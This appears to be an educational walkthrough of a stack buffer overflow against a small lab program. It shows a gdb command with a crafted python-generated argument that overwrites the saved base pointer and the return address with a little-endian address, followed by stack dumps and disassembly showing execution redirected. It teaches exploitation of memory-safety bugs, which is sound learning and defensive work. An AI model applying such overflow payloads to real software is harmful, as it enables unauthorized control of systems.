Technical Cybersecurity

Finish Setting the Stage

We’re going to start generating arguments.

Creating Argument

ORIGINAL

- r $(python -c "print('AAAAAAAAAAAAAAA' + 'BBBB' + ‘CCCC')")
- BBBB is the saved base pointer
- CCCC is the return address pointer, we want it to be 0x08048491

TRY THIS

- r $(python -c "print('AAAAAAAAAAAAAAA' + 'BBBB' + ‘\x91\x84\x04\x08’)”)

OMG What?

YES, IT'S BACKWARDS

- Welcome to little endian world!
- We're injecting directly onto the stack, computer architecture won't translate this for us, so we need to convert to little endian to inject it

Annoying? Just you wait.

```
(gdb) r $(python -c "print('AAAAAAAAAAAAA' + 'BBBB' + '\x91\x84\x04\x08')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cclamb/Work/abi-playground/smash $(python -c "print('AAA
AAAAAAAAAA' + 'BBBB' + '\x91\x84\x04\x08')")

Breakpoint 3, 0x08048441 in smash (
    arg=0xffffd1d6 'A' <repeats 13 times>, "BBBB\221\204\004\b") at smash.c:7
7           strcpy(buffer, arg);
(gdb) n

Breakpoint 2, smash (arg=0xffffd100 "\003") at smash.c:8
8       }
(gdb) x/20xw $esp
0xffffced0:     0x00000009      0xffffd1af      0x41e0f049      0x41414141
0xffffcee0:     0x41414141      0x41414141      0x42424242      0x08048491
0xffffcef0:     0xffffd100      0x00000000      0xffffcfd0      0x08048467
0xffffcf00:     0x00000002      0xffffcfc4      0xffffcfd0      0xffffd1d6
0xffffcf10:     0xf7fe59b0      0xffffcf30      0x00000000      0xf7df7e81
(gdb)
```

We got it!

We've successfully overwritten the RA pointer!

OMG OMG OMG

Program behavior

- Step through the program
- the RA is read into EIP and we resume execution in main
- …right at the end!

```
(gdb) disas
Dump of assembler code for function smash:
   0x08048426 <+0>:     push   ebp
   0x08048427 <+1>:     mov    ebp,esp
   0x08048429 <+3>:     push   ebx
   0x0804842a <+4>:     sub    esp,0x14
   0x0804842d <+7>:     call   0x8048492 <__x86.get_pc_thunk.ax>
   0x08048432 <+12>:    add    eax,0x1bce
   0x08048437 <+17>:    sub    esp,0x8
   0x0804843a <+20>:    push   DWORD PTR [ebp+0x8]
   0x0804843d <+23>:    lea    edx,[ebp-0xd]
   0x08048440 <+26>:    push   edx
   0x08048441 <+27>:    mov    ebx,eax
   0x08048443 <+29>:    call   0x80482e0 <strcpy@plt>
   0x08048448 <+34>:    add    esp,0x10
   0x0804844b <+37>:    nop
   0x0804844c <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804844f <+41>:    leave
=> 0x08048450 <+42>:    ret
End of assembler dump.
(gdb) si
0x08048491 in main (argc=0, argv=0xffffcfd0) at smash.c:14
14      }
(gdb) disas
Dump of assembler code for function main:
   0x08048451 <+0>:     lea    ecx,[esp+0x4]
   0x08048455 <+4>:     and    esp,0xfffffff0
   0x08048458 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804845b <+10>:    push   ebp
   0x0804845c <+11>:    mov    ebp,esp
   0x0804845e <+13>:    push   ecx
   0x0804845f <+14>:    sub    esp,0x14
   0x08048462 <+17>:    call   0x8048492 <__x86.get_pc_thunk.ax>
   0x08048467 <+22>:    add    eax,0x1b99
   0x0804846c <+27>:    mov    eax,ecx
   0x0804846e <+29>:    mov    eax,DWORD PTR [eax+0x4]
   0x08048471 <+32>:    mov    eax,DWORD PTR [eax+0x4]
   0x08048474 <+35>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048477 <+38>:    sub    esp,0xc
   0x0804847a <+41>:    push   DWORD PTR [ebp-0xc]
   0x0804847d <+44>:    call   0x8048426 <smash>
   0x08048482 <+49>:    add    esp,0x10
   0x08048485 <+52>:    mov    eax,0x0
   0x0804848a <+57>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x0804848d <+60>:    leave
   0x0804848e <+61>:    lea    esp,[ecx-0x4]
=> 0x08048491 <+64>:    ret
End of assembler dump.
(gdb)
```

We have the pieces.